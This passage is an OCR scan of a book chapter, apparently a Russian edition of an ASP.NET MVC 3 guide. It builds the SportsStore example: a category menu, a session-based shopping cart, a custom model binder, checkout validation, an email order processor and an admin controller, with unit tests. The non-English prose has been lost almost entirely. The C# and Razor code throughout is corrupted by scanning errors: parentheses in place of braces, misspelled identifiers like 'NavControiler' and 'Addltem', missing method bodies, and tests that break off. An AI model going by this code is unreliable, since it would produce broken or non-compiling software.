Menu, 8.5.
8.5. Menu
using System.Web.Mvc;
namespace SportsStore.WebUI.Controllers {
public class NavController : Controller (
public string Menu() {
return "Hello from NavController";
}
}
,
. ,
,
.
Views/Shared/_Layout.cshtml,
RenderAction, 8.6.
188
I. ASP.NET MVC 3
. 8 .2 . Menu
.
U R L ,
. ,
Menu , 8.7.
8.7. Menu
using
using
using
using
using
System.Collections.Generic;
System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.WebUI.Models;
8. SportsStore:
189
}
public PartialViewResult Menu () {
IEnumerable<string> categories = repository.Products
.Select(x => x.Category)
.Distinct()
.OrderBy(x => x) ;
return PartialView(categories);
)
}
Menu . LINQ
.
:
.
,
. ,
, N a v C o n t r o ile r
, . .
[TestMethod]
public void Can_Create_Categories() (
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Apples"},
new Product (ProductID = 2, Name = "P2", Category = "Apples"},
new Product {ProductID = 3, Name = "P3", Category = "Plums"},
new Product (ProductID = 4, Name = "P4", Category = "Oranges"},
}.AsQueryable ());
//
NavControiler target = new NavControiler(mock.Object);
//
string[] results = ((IEnumerable<string>)target.Menu().Model).ToArray();
//
A ss e r t .AreEqual(results.Length, 3) ;
A ss e r t .AreEqual(results [0], "Apples");
Assert.AreEqual(results[1], "Oranges");
Assert.AreEqual(results[2], "Plums");
}
,
, . ,
.
190
I. ASP.NET MVC 3
,
.
M e n u N a v C o n t r o l l e r Add View
( ).
M e n u , Create a stronglytyped view ( )
I E n u m e r a b l e < s t r i n g > , . 8.3.
Menu
. 8 . 3 . M e n u
8.8. Menu
@m odel
@{
Layout
= n ull;
S H t m l .A c t i o n L i n k ("H o m e ",
"L is t ",
= "P r o d u c t ",
= "L is t ",
category = lin k ,
page = 1
})
)
new
"P r o d u c t ")
8. SportsStore:
191
,
,
.
ActionLink, HTML-
.
RouteLink. ActionLink,
/, URL
. , ,
11.
,
CSS, .
, 8.9, Content / S i t e . c s s
SportsStore.WebUI.
8.9. CSS
DIV#categories
(
font: bold-1.lem "Arial Narrow","Franklin Gothic Medium",Arial; display: block;
text-decoration: none; padding: .6em; color: Black;
border-bottom: lpx solid silver;
)
DIV#categories A.selected ( background-color: #666; color: White;
DIV#categories A:hover ( background-color: #CCC; }
DIV#categories A. selected:hover { background-color: #666; }
, , . 8.4.
- , ,
.
. 8 .4 .
,
. ,
, .
192
I. ASP.NET MVC 3
,
, ,
. ViewBag,
5.
. ,
Menu, 8.10 .
8.10. V iew B ag
public ViewResult Menu(string category = null)
V i e w B a g .SelectedCategory = category;
IEnumerable<string> categories = repository.Products
.Select(x => x.Category)
.Distinct ()
.OrderBy(x => x) ;
return View(categories);
}
Menu category.
.
SelectedCategory ViewBag
. 5 ,
ViewBag , ,
.
:
Menu
, ViewBag,
ViewResult. .
[TestMethod]
public void Indicates_Selected_Category() (
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Apples"},
new Product (ProductID = 4, Name = "P2", Category = "Oranges"},
} . A sQ u eryable( ) ) ;
//
NavControiler target = new NavControiler(mock.Object);
//
string categoryToSelect = "Apples";
//
string result = target.Menu(categoryToSelect).ViewBag.SelectedCategory;
//
A s s e r t .AreEqual(categoryToSelect, result);
}
, ViewBag.
ViewBag ViewData,
8. SportsStore:
193
, , ,
CSS HTML- ,
.
Menu.cshtml 8.11.
8.11.
@model IEnumerabIe<string>
0{
Layout = null;
SHtml.ActionLink("Home", "List", "Product")
@foreach (var link in Model) {
0Html.RouteLink(link,
new (
controller = "Product",
action = "List",
category = link,
page.= 1
),
new {
@class = link == V i e w B a g .SelectedCategory ? "selected" : null
}
)
RouteLink,
, HTML-
. , , CSS selected.
! Sclass ,
RouteLink.
Razor. #,
class HTML ( CSS ) C#
( ). @
.
class ( @), , #.
@ ,
class, , .
,
(. 8.5).
, ,
, - .
,
. ,
2 Chess ,
.
. 8.6.
7 . 4039
194
I. ASP.NET MVC 3
. 8.6. ,
-
, L i s t P ro d u c t
C o n tr o lle r , .
8.12.
8.12.
public ViewResult List(string category, int page = 1) (
ProductsListViewModel viewModel = new ProductsListViewModel (
Products = repository.Products
.Where (p => category == null ? true : p.Category == category)
,OrderBy(p => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = category == null ?
repository.Products.C o u n t () :
repository.Products.Where(e => e.Category == category).Count()
CurrentCategory = category
};
return View(viewModel);
8. SportsStore:
195
, .
:
,
List,
. , List,
, .
.
[TestMethod]
}
, . 8.7.
,
, .
, . 8.8. ,
- .
196
I. ASP.NET MVC 3
. 8.7.
. 8.8.
. ,
, .
,
.
,
.
Cart E n titie s SportsStore.Domain. 8.13
.
8.13.
using System.Collections.Generic;
using System.Linq;
namespace SportsStore.Domain.Entities {
public class Cart {
private List<CartLine> lineCollection = new List<CartLine> () ;
public void Addltem(Product product, int quantity) {
CartLine line = lineCollection
.Where(p => p .Product.ProductID == product.ProductID)
.FirstOrDefault ();
8. SportsStore:
197
if (line == null) {
lineCollection.Add(new CartLine {
Product = product, Quantity = quantity }) ;
} else {
line.Quantity += quantity;
}
}
public void RemoveLine(Product product) {
lineCollection.RemoveAll(1 => 1.Product.ProductlD == product.ProductlD);
}
public decimal ComputeTotalValue () (
return lineCollection.Sum (e => e .Product.Price * e.Quantity);
}
public void Clear () {
lineCollection.Clear();
}
public IEnumerable<CartLine> Lines {
get { return lineCollection; )
}
}
public class CartLine (
public Product Product ( get; set; }
public int Quantity { get; set; }
Cart CartLine,
, , .
,
,
. ,
IEnumerble<CartLine>.
C# LINQ.
:
Cart , ,
.
SportsStore. .
.
Product CartLine.
.
[TestMethod]
public void Can_Add N ew_Lines() {
//
Product pi = new Product { ProductlD = 1, Name = "PI" };
Product p2 = new Product { ProductlD = 2, Name = "P2" };
//
Cart target = new Cart();
//
t a r g e t.A d d lt e m (p l, 1) ;
ta rg e t.A d d lte m (p 2 , 1 );
198
I. ASP.NET MVC 3
CartLine[] results = target.Lines.ToArray();
//
Ass e r t .AreEqual(results.Length, 2);
Assert.AreEqual (results[0].Product, p i ) ;
Assert.AreEqual(results[1].Product, p 2 ) ;
}
Product ,
CartLine, .
.
[TestMethod]
public void Can_Add_Quantity_For_Existing_Lines() {
//
Product pi = new Product ( ProductID = 1, Name = "PI" };
Product p2 = new Product { ProductID = 2, Name = "P2" };
//
Cart target = new Cart() ;
//
target.Addltem(pi,
target.Addltem(p2,
target.Addltem(pi,
CartLine[] results =
1) ;
1);
10);
target.Lines.OrderBy (c => c.Product.ProductID).ToArray();
//
Assert.AreEqual(results.Length, 2) ;
Assert.AreEqual(results[0].Quantity, 11);
Assert.AreEqual(results[1].Quantity, 1) ;
)
,
. RemoveLine.
.
[TestMethod]
public void Can_Remove_Line() {
//
Product pi = new
Product p2 = new
Product p3 = new
Product { ProductID
Product { ProductID
Product { ProductID
= 1, Name
= 2, Name
= 3, Name
= "PI" };
= "P2" };
= "P3" };
//
Cart target = new C a r t O ;
//
target.Addltem(pi, 1);
target.Addltem(2, 3);
target.Addltem(, 5);
target.Addltem(p2, 1);
//
target.RemoveLine(p2);
//
A s s e r t .AreEqual(target.Lines.Where( => .Product == p2).Count(), 0);
A s s e r t .AreEqual(target.Lines.Count(), 2) ;
)
. .
8. SportsStore:
199
[TestMethod]
public void Calculate_Cart_Total () {
//
Product pi = new Product ( ProductID = 1, Name = "PI", Price = 100M};
Product p2 = new Product { ProductID = 2, Name = "P2" , Price = 50M};
//
Cart target = new Cart();
//
target.Addltem(pi, 1);
target.Addltem(p2, 1);
target.Addltem(pi, 3);
decimal result = t ar g e t .ComputeTotalValue();
//
Assert.AreEqual(result, 450M);
}
. ,
. .
[TestMethod]
public void Can_Clear__Contents () {
//
Product pi = new Product { ProductID = 1, Name = "PI", Price = 100M };
Product p2 = new Product ( ProductID = 2, Name = "P2", Price = 50M };
//
Cart target = new Cart();
//
target.Addltem(pi, 1);
target.Addltem(p2, 1);
//
target.Clear ();
//
Assert.AreEqual(target.Lines.C o u n t (), 0);
}
, ,
, . ,
. , ,
, Cart SportsStore, .
V i e w s / S h a r e d / P r o d u c t
Summary.cshtml, .
8.14.
8.14.
@model SportsStore.Domain.Entities.Product
<div class="item">
<h3>0Model.Name</h3>
@Model.Description
200
I. ASP.NET MVC 3
, .
9, , ,
get.
, C on ten t/ S ite.css
CSS, 8.15.
8.15.
FORM { margin: 0; padding: 0; )
D IV.item FORM { f l o a t : r i g h t ;
D I V .item INPUT {
HTML-
Html.BeginForm ,
A d d t o c a r t ( ) HTML-
form. , ASP.NET
Web Forms, . ASP.NET MVC
, ,
.
.
,
, .
Add to cart .
C a r tC o n t r o lle r
8.16.
8. SportsStore:
201
8.16,
using
using
using
using
System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
)
public RedirectToRouteResult AddToCart(int productld, string returnUrl)
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);
if (product != null) {
GetCart () .Addltem(product, 1);
1
return*RedirectToAction("Index", new { returnUrl });
J
public RedirectToRouteResult RemoveFromCart(int productld, string returnUrl) {
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);
if (product != null) (
G e t C a r t ().RemoveLine(product);
)
return RedirectToAction("Index", new ( returnUrl });
}
private Cart GetCart () (
Cart cart = (Cart)Session["Cart"];
if (cart == null) {
cart = new Cart();
Session["Cart"] = cart;
}
return cart;
}
)
.
Cart ASP.NET.
GetCart. ASP.NET
, - URL
,
. ,
. Cart. ,
,
. , ,
( - ,
), ,
Cart . ,
Session, :
202
I. ASP.NET MVC 3
Session["Cart"] = cart;
:
Cart cart = (Cart)Session["Cart"];
. ASP.NET,
, SQL.
A d d T o C a r t Re m o v e F r o m C a r t ,
input HTML-,
ProductSummary.cshtml. MVC Framework
POST ,
.
Cart , AddToCart
RemoveFromCart RedirectToAction.
HTTP- ,
URL. URL,
Index Cart.
Index
Cart. . 8.8, ,
,
(Add to ca rt).
, ,
: Cart URL ,
Continue shopping ( ).
.
CartlndexViewModel Models SportsStore.WebUI.
8.17.
8.17. C a r tln d e x V ie w M o d e l
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Models (
public class CartlndexViewModel (
public Cart Cart ( get; set; }
public string ReturnUrl { get; set; }
, Index
Cart, 8.18.
8.18. In d e x
public ViewResult Index(string returnUrl)
return View(new CartlndexViewModel (
Cart = GetCart (),
ReturnUrl = returnUrl
});
8. SportsStore:
203
. Index
A dd V ie w ( ).
Index, C re a te a s tro n g ly -ty p e d v ie w (
) CartlndexViewModel ,
. 8.9.
. 8 .9 . Index
, , Use a la y o u t o r m a s te r
p a g e ( -) ,
,
_L a yo u t.csh tm l. Add ()
8.19.
8.19. In d e x
Imodel SportsStore.W e b U I .Mod e l s .CartlndexViewModel
5{
ViewBag.Title = "Sports Store: Your Cart";
1
<h2>Your cart</h2>
<table width="90%" align="center">
<theadxtr>
<th align="center">Quantity</th>
<th align="left">Item</th>
<th align="right">Price</th>
<th align="right">Subtotal</th>
</ t r x / t h e a d >
<tbody>
@foreach(var line in Mo d e l .C a r t .Lines) {
<tr>
<td align="center">@line.Quantity</td>
204
I. ASP.NET MVC 3
<td align="left">@line.Product.Name</td>
<td align="right">@line.Product.Price.ToString("c")</td>
<td align="right">@
( (line.Quantity * line.Product.Price).ToSt r i n g ("c"))</td>
< /1 r >
1
</tbody>
<tfootxtr>
<td colspan="3" align="right">Total:</td>
<td align="right">
@Model.C a r t .ComputeTotalvalue().ToString("c")
</td>
</tr></tfoot>
</table>
<p align="center" class="actionButtons">
<a href="@Model.ReturnUrl">Continue shopping</a>
</p>
, .
HTML-,
. , ,
CSS. , 8.20,
Site.css.
8.20. CSS
2 ( margin-top: 0. }
TFOOT TD { border-top: lpx dotted gray; font-weight: bold; }
.actionButtons A, INPUT.actionButtons {
font: .8emArial; color: White; margin: .5em;
text-decoration: none; padding: .15em 1.5em .2em 1.5em;
background-color: #353535; border: lpx solid black;
1
. Add
to c a r t
(. 8.1 0 ). C o n tin u e
s h o p p in g ( ) ,
. 8 .1 0 .
8. SportsStore:
205
- .
.
.
Cart.
MVC Framework
C# HTTP
. MVC , , .
.
C# ,
. MVC Framework.
, CartController.
Cart
Cart, ,
. ,
.
CartController ,
Session , Controller
, .
,
Cart . MVC
Framework Cart
CartController.
. 17,
.
IModelBinder. Binders SportsStore.WebUI
CartModelBinder .
8.21.
8.21. C a r t M o d e lB in d e r
using System;
using System.Web.Mvc;
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Binders (
public class CartModelBinder : IModelBinder {
private const string sessionKey = "Cart";
public object BindModel(ControllerContext controllerContext,
ModelBindingContext bindingContext) {
// Cart
Cart cart = (Cart)controllerContext.HttpContext.Session[sessionKey];
// Cart,
if (cart == null) (
cart = new C a r t O ;
206
I. ASP.NET MVC 3
controllerContext.HttpContext.Session[sessionKey] = cart;
}
// cart
return cart;
}
}
IM odelBinder : BindModel.
,
. ControllerContext
, , .
ModelBindingContext , ,
.
17.
ControllerContext.
HttpContext, , , Session,
. Cart
Cart, ,
.
MVC Framework ,
C a r t M o d e l B i n d e r Cart.
Application_Start Global.asax (. 8.22).
8.22. C a r t M o d e lB in d e r
protected void Application__Start () {
AreaRegistration.RegisterAllAreas();
RegisterGlobalFilters (GlobalFilters.Filters);
RegisterRoutes(RouteTable.Routes);
ControllerBuilder.Current.SetControllerFactory(new NinjectControllerFactory());
ModelBinders.Binders.Add(typeof(Cart), new CartModelBinder());
}
CartController,
GetCart . 8.23
.
8.23. C a r t C o n t r o l l e r
using
using
using
using
using
System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
SportsStore.WebUI.Models;
8. SportsStore:
207
(
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld) ;
if (product != null) {
cart.Addltem(product, 1);
}
return RedirectToAction("Index", new ( returnUrl });
}
public RedirectToRouteResult RemoveFromCart(Cart cart,
int productld, string returnUrl) (
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);
if (product != null) (
cart.RemoveLine(product);
)
return RedirectToAction("Index", new { returnUrl ));
)
public ViewResult I n d e x (Cart cart, string returnUrl)
return View(new CartlndexViewModel (
Cart = cart,
ReturnUrl = returnUrl
)) ;
)
)
GetCart Cart .
MVC Framework , , ,
AddToCart, .
,
.
Cart, ,
.
MVC Framework , .
, ,
Cart, .
. Cart
, Cart
.
, ,
Cart,
. ,
, ,
Cart
ASP.NET.
208
I. ASP.NET MVC 3
: C a r t
CartController
Cart .
.
A d d T o C a r t .
Index.
Index URL,
.
.
[TestMethod]
public void Can_Add_To_Cart() {
/ /
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductID = 1, Name = "PI", Category = "Apples"),
).AsQueryable ());
// Cart
Cart cart = new Cart();
//
CartController target = new CartController(mock.Object);
//
target.AddToCart (cart, 1, null);
//
A ss e r t .AreEqual(cart.Lines.C o u n t (), 1) ;
A s s e r t .AreEqual(cart.Lin e s .ToArray() [0] .Product.ProductID, 1) ;
)
[TestMethod]
public void Adding_Product_To_Cart_Goes_To_Cart_Screen () (
//
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product!] (
new Product (ProductID = 1, Name = "PI", Category = "Apples"),
} .AsQueryable());
II Cart
Cart cart = new Cart();
//
CartController target = new CartController(mock.Object);
// -
RedirectToRouteResult result = target.AddToCart(cart, 2, "myUrl");
//
Assert.AreEqual(result.RouteValues["action"], "Index");
Assert.AreEqual(result.RouteValues["returnUrl"], "myUrl");
}
[TestMethod]
public void Can_View_Cart_Contents () {
// Cart
8. SportsStore:
209
, .
.
.
RemoveFromCart ,
,
Remove () . ,
Views/Cart/Index.cshtml, 8.24.
8.24. Remove
<td align="right" > 0 ((line.Quantity * line.Product.Price).ToString(""))</td>
<td>
0using (Html.BeginForm("RemoveFromCart", "Cart")) {
0Ht m l .H i d d e n ("Productld", l i n e .Product.ProductID)
0Html.HiddenFor(x => x.ReturnUrl)
<input class="actionButtons" type="submit" value="Remove" />
}
</td>
! ReturnUrl ,
Html.HiddenFor,
ProductID ( ),
Html.Hidden. Html.HiddenFor( => line.Product.
ProductID), line.Product.
ProductID.
CartController.RemoveFromCart,
, a MVC Framework .
Remove , ,
Remove.
. 8.11.
210
I. ASP.NET MVC 3
. 8.11.
,
. ,
, .
.
(.. )
,
. ,
,
Razor.
CartController ,
8.25.
8.25. Summary
, . ,
Cart (
).
, Summary.
Summary
Add View ( ). Summary,
Create a Strongly-typed view (
) Cart , . 8.12.
, ,
Create as a partial view ( ).
8.26.
8.26. Summary
0model SportsStore. D om ain .E ntities. Cart
@{
Layout = null;
}
8. SportsStore:
211
<div id="cart">
<span class="caption">
<b>Your cart:</b>
0Model.Lin e s .Sum(x => x.Quantity) item(s),
0Model.ComputeTotalVaiue () .ToString("c")
</span>
0Html.ActionLink("Checkout", "Index", "Cart",
new { returnUrl = Request.U r l .PathAndQuery }, null)
</div>
. 8.12. Summary
,
.
, Summary,
_Layout.cshtml, 8.27.
8.27.
<body>
<div id="header">
@{Html.RenderAction("Summary", "Cart");}
<div class="title">SPORTS STORE</div>
</div>
<div id="categories">
0{ Html.RenderAction("Menu", "Nav"); }
212
I. ASP.NET MVC 3
C S S
.
8.28 Site.css SportsStore.WebUI.
8.28. S i t e . c s s
DIV#cart { float:right; margin: .8em; color: Silver;
background-color: #555; padding: .5em .5em .5em lem; }
DIV#cart A { text-decoration: none; padding: .4em lem ,4em lem; line-height:2.lem;
margin-left: .5em; background-color: #333; color:White; border: lpx solid black;)
, .
, ,
. 8.13.
. 8 .1 3 .
, ,
, .
, RenderAction
-.
.
, SportsStore:
.
,
.
ShippingDetails Entities SportsStore.
Domain.
. ShippingDetails 8.29.
8.29. S h i p p i n g D e t a i l s
using System.ComponentModel.DataAnnotations;
namespace SportsStore.Domain.Entities {
public class ShippingDetails {
[Required(ErrorMessage = "Please enter a name")]
//
public string Name { get; set; }
[Required(ErrorMessage = "Please enter the first address line")]
8. SportsStore:
213
//
public string Linel { get; set; }
public string Line2 { get; set; }
public string Line3 { get; set; }
[Required(ErrorMessage = "Please enter a city name")]
//
public string City { get; set; }
[Required(ErrorMessage = "Please enter a state name")]
//
public string State ( get; set; }
public string Zip { get; set; }
[Required(ErrorMessage = "Please enter a country name")]
//
public string Country ( get; set; }
public bool GiftWrap ( get; set; }
)
)
___________________________________________________
8 .2 9
System.ComponentModel.DataAnnotations, 3.
, SportsStore.Domain
.
18.
! ShippingDetails ,
.
,
.
Checkout now ( ). ,
Views/Cart/Index.cshtml, 8.30.
8.31. C h e c k o u t
public ViewResult Checkout!) {
return View(new ShippingDetails ());
214
I. ASP.NET MVC 3
. 8.15. Checkout
8.32.
8. SportsStore:
215
8.32. C h e c k o u t .c s h t m l
0model SportsStore.Domain.Entities.ShippingDetails
0{
ViewBag.Title = "SportStore: Checkout";
}
<h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
0using (Html.BeginForm ()) (
<h3>Ship to</h3>
<div>Name: 0Html.EditorFor(x => x .Name)</div>
<h3>Address</h3>
<div>Line 1: @Html.EditorFor(x => x .Linel)</div>
<div>Line 2: 0Html.EditorFor (x => x .Line2)</div>
<div>Line 3: 0Html.EditorFor (x => x .Line3)</div>
<div>City: 0Html.EditorFor(x => x .City)</div>
<div>State: QHtml.EditorFor (x => x .State)</div>
<div>Zip: 0Ht m l .EditorFor(x => x.Zip)</div>
<div>Country: @Html.EditorFor (x => x .Country)</div>
<h3>Options</h3>
<label>
OHtml.EditorFor(x => x.GiftWrap)
Gift wrap these items
</label>
<p align="center">
<input class="actionButtons" type="submit" value="Complete order" />
</p>
, ,
, C h e c k o u t now
( ). . 8.16 ,
.
. 8.16.
216
I. ASP.NET MVC 3
in p u t ,
H tm l.E ditorF or.
. MVC Framework ,
in pu t ,
( , , Html.TextBoxFor).
16, . 8.16 , MVC Framework
, b o o l ( G ift w ra p th e se
ite m s ( )) .
.
H tm l.EditorForM odel,
S h ip p in g D eta ils .
, ,
, .
,
. MVC,
,
DI (Ninject).
IO rd e rP ro c e s s o r A b s t r a c t
SportsStore.D om ain 8.33.
8.33. I O r d e r P r o c e s s o r
using SportsStore.Domain.Entities;
namespace SportsStore.Domain.Abstract {
public interface IOrderProcessor (
void ProcessOrder(Cart cart, ShippingDetails shippingDetails);
}
}
IO r d e r P ro c e s s o r ,
. ,
.
,
.
MVC, .
E m a ilO rd erP ro cess or C on crete
SportsStore.D om ain 8.34.
SMTP, .NET Framework.
217
8. S portsS tore:
8.34. E m a ilO r d e r P r o c e s s o r
using
using
using
using
using
System.Net.Mail;
System.Text;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;
System.Net;
namespace SportsStore.Domain.Concrete {
public class EmailSettings {
public string MailToAddress = "orders@example.com";
public string MailFromAddress = "sportsstore@example.com";
public bool UseSsl = true;
public string Username = "MySmtpUsername";
public string Password = "MySmtpPassword";
public string ServerName = "smtp.example.com";
public int ServerPort = 587;
public bool WriteAsFile = false;
public string FileLocation = @" c :\sports_store__emails";
)
public class EmailOrderProcessor :IOrderProcessor {
private EmailSettings emailSettings;
public EmailOrderProcessor(EmailSettings settings)
emailSettings = settings;
}
public void ProcessOrder(Cart cart, ShippingDetails shippinglnfo)
}
StringBuilder body = new StringBuilder()
.AppendLine("A new order has been submitted")
.AppendLine("---")
.AppendLine("Items:");
foreach (var line in cart.Lines) (
var subtotal = li ne .Product.Price * lin e .Quantity;
b o d y .AppendFormat("{0} x (1) (subtotal: {2:c}", lin e.Quantity,
li ne .Product.Name,
subtotal);
}
body.AppendFormat("Total order value: {0:c}",
c a r t .ComputeTotalValue ())
218
I. ASP.NET MVC 3
.AppendLine("-- ")
.AppendLine("Ship to:")
.AppendLine(shippinglnf .Name)
.AppendLine(shippinglnf .Linel)
.AppendLine(shippinglnfo.Line2 ?? "")
.AppendLine(shippinglnfo.Line3 ?? "")
.AppendLine(shippinglnfo.City)
.AppendLine(shippinglnfo.State ?? "")
.AppendLine(shippinglnfo.Country)
.AppendLine(shippinglnfo.Zip)
.AppendLine("-- ")
.AppendFormat("Gift wrap: (0)", shippinglnfo.GiftWrap ? "Yes" : "No");
MaiiMessage mailMessage = new MaiiMessage(
emaiiSettings.MailFromAddress,
//
emaiiSettings.MailToAddress,
//
"New order submitted!",
//
b o d y .ToString());
//
if (emaiiSettings.WriteAsFile) (
mailMessage.BodyEncoding = E ncoding.ASCII;
)
smtpClient.Send(mailMessage);
}
EmailSettings 8.34.
EmailOrderProcessor
, .NET,
.
. , SMTP .
EmailSettings.WriteAsFile true,
, FileLocation.
. .eml
.
IOrderP r o c e s s o r ,
Ninject .
NinjectControllerFactory SportsStore .WebUI, AddBindings
, 8.35.
8.35. Ninject I O r d e r P r o c e s s o r
private void AddBindings () {
//
ninjectKernel.Bind<IProductRepository> () .To<EFProductRepository> ();
EmailSettings emailSettings = new EmailSettings {
WriteAsFile = b o o l .Parse(ConfigurationManager.
AppSettings["Email.WriteAsFile"] ?? "false")
};
ninjectKernel.Bind<IOrderProcessor>()
.To<EmailOrderProcessor>().WithConstructorArgument("settings", emailSettings);
8. SportsStore:
219
E m a i l S e t t i n g s , Ninject-
W i t h C o n s t r u c t o r A r g u m e n t ,
EmailOrderProcessor,
IOrderProcessor. 8.35
EmailSettings WriteAsFile.
ConfigurationManager.AppSettings,
, Web.config (
) 8.36.
8.36. W e b .c o n fig
<appSettings>
<add key="ClientValidationEnabled" value="true"/>
O d d key="UnobtrusiveJavaScriptEnabled" value="true"/>
<add key="Email.WriteAsFile" value="true"/>
</appSettings>
C a r t
CartController ,
IOrderProcessor,
, POST ,
Complete order ( ). 8.37.
8.37. C a r t C o n t r o l l e r
using System.Linq;
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
using SportsStore.Domain.Entities;
using SportsStore.W e b U I .Models;
namespace SportsStore.W e b U I .Controllers {
public class CartController : Controller {
private IProductRepository repository;
private IOrderProcessor orderProcessor;
public CartController(IProductRepository repo, IOrderProcessor proc)
repository = repo;
orderProcessor = proc;
}
[HttpPost]
public ViewResult Checkout(Cart cart, ShippingDetails shippingDetails)
if (cart.Lines.Count() == 0) {
ModelState.AddModelError("", "Sorry, your cart is empty!");
>
if (ModelState.IsValid) {
orderProcessor.ProcessOrder(cart, shippingDetails);
c a r t .C l e a r ();
return View("Completed");
} else {
return View(shippingDetails);
>
}
public ViewResult Checkout() {
return View(new ShippingDetails ());
)
... ...
220
I. ASP.NET MVC 3
, Checkout
HttpPost, , POST ,
.
ShippingDetails (
) Cart (
).
! ,
CartController. null
.
MVC Framework ,
ShippingDetails
8.29,
ModelState.
ModelState.IsValid. ModelState.AddModelError
, .
, ,
17 18.
:
CartController,
Checkout.
, MVC Framework ,
, .
, ,
.
. .
[TestMethod]
public void Cannot_Checkout_Empty_Cart() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor> ();
// -
Cart cart = new Cart();
//
ShippingDetails ShippingDetails = new ShippingDetails ;
//
CartController target = new CartController(null, m o c k .Object);
//
ViewResult result = target.Checkout(cart, shippingDetails);
// ,
mock.Verify (m => m. ProcessOrder(It.IsAny<Cart>(), It.IsAny<ShippingDetails> ()),
Tim e s .N e v e r () ) ;
// ,
Ass e r t .AreE q u a l ("", result.ViewName);
// - ,
Ass e r t .AreEqual(false, result.ViewData.ModelState.IsValid) ;
}
.
, ProcessOrder IOrderProcessor
, (
8. SportsStore:
221
, , ), ,
, .
,
. ,
, , (
, ).
[TestMethod]
public void Cannot_Checkout_Invalid_ShippingDetails() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor> ();
//
Cart cart = new Cart();
car t .Addltem(new Product!), 1);
// -
CartController target = new CartController(null, m o c k .Object);
//
target.ModelState.AddModelError("error", "error");
//
ViewResult result = target.Checkout(cart, new ShippingDetails());
// ,
mock.Verify(m => m.ProcessOrder(I t .IsAny<Cart> (),
I t .IsAny<ShippingDetails>()), Times.N e v e r ());
// - ,
Ass e r t .A r e E q u a l ("", result.ViewName);
// - ,
Assert.AreEqual(false, result.Viewdata.ModelState.IsValid);
)
,
, ,
. .
[TestMethod]
public void Can_Checkout_And__Submit_Order() {
//
Mock<IOrderProcessor> mock = new Mock<IOrderProcessor>();
//
Cart cart = new Cart();
cart.Addltem(new Product(), 1);
//
CartController target = new CartController(null, m o c k .Object);
// -
ViewResult result = target.Checkout(cart, new ShippingDetails ()) ;
// - ,
mock.Verify(m => m.ProcessOrder(I t .IsAny<Cart>(),
I t .IsAny<ShippingDetails> ()), Times.O n c e ());
// - , Completed
Asse r t .AreE q u a l ("Completed", result.ViewName);
// - ,
Asse r t .AreEqual(true, result.ViewData.ModelState.IsValid);
}
,
. ,
ShippingDetails.
222
I. ASP.NET MVC 3
, ,
, , .
,
, .
,
, , 3.
Checkout.cshtm l 8.38.
8.38.
<h2>Check out now</h2>
Please enter your details, and we'll ship your goods right away!
@using (Html.B eginForm()) {
@Html.ValidationSummary()
< h 3 > S h ip t o < / h 3 >
,
,
, . 8.17.
. 8.17.
,
.
Checkout C a rtC o n tro lle r
Add View ( ).
Completed, . 8.18.
8. SportsStore:
223
. 8.18. Completed
,
. ,
. Add
(), ,
8.39.
8.39. C o m p le te d .c s h tm l
@{
}
<h2>Thanks!</h2>
Thanks for placing your order. We'll ship your goods as soon as possible.
,
. ,
( ), C o m p le te o rd e r (
) , . 8.19.
. 8 .1 9 .
224
I. ASP.NET MVC 3
SportsStore,
. , Amazon ,
,
.
,
,
- . , ,
, ,
.
SportsStore,
, , ,
.
SportsStore:
, SportsStore,
.
,
, . ,
, ,
,
, .
: ,
. 9.1.
. 9.1. CRUD
, ,
. 7,
CRUD. C R U D ,
Visual Studio , MVC.
C R U D
.
8 . 4039
226
I. ASP.NET MVC 3
CRUD
.
C o n tr o lle r s SportsStore.W ebU I
Add^Controller (^).
Add Controller ( )
A d m in C o n tro lle r, Template ( )
Controller with empty read/write actions (
/), . 9.2.
9. SportsStore:
[HttpPost]
public ActionResult Edit(int id, FormCollection collection)
try {
// TODO:
return RedirectToAction("Index");
} catch {
return View ();
227
)
}
public ActionResult Delete(int id) { return View();}
[HttpPost]
public ActionResult Delete(int id, FormCollection collection)
try {
// TODO:
return RedirectToAction ("Index");
} catch {
return V i e w ();
}
}
}
}
CRUD, Visual Studio .
SportsStore,
. , ,
.
, 9.2.
9.2. A d m in C o n t r o lle r
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
namespace SportsStore.WebUI.Controllers {
public class AdminController : Controller {
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;
}
}
, . 9.1,
, .
MVC Framework, Index. ,
9.3.
9.3. In d e x
using System.Web.Mvc;
using SportsStore.Domain.Abstract;
228
I. ASP.NET MVC 3
namespace SportsStore.WebUI.Controllers {
public class AdminController : Controller (
private IProductRepository repository;
public AdminController(IProductRepository repo)
repository = repo;
}
public ViewResult I n d e x () {
return View(repository.Products);
}
}
}
: In d ex
I n d e x , P r o d u c t,
. , -
, .
.
[TestMethod]
public void Index_Contains_All_Products() (
//
Mock<IProductRepository> mock = new Mock<IProductRepository>() ;
mock.Setup(m => m.Products).Returns(new Product!] {
new Product (ProductID = 1, Name = "PI"},
new Product (ProductID = 2, Name = "P2"),
new Product (ProductID = 3, Name = "P3">,
}.AsQueryable ());
//
AdminController target = new AdminController(mock.Object);
//
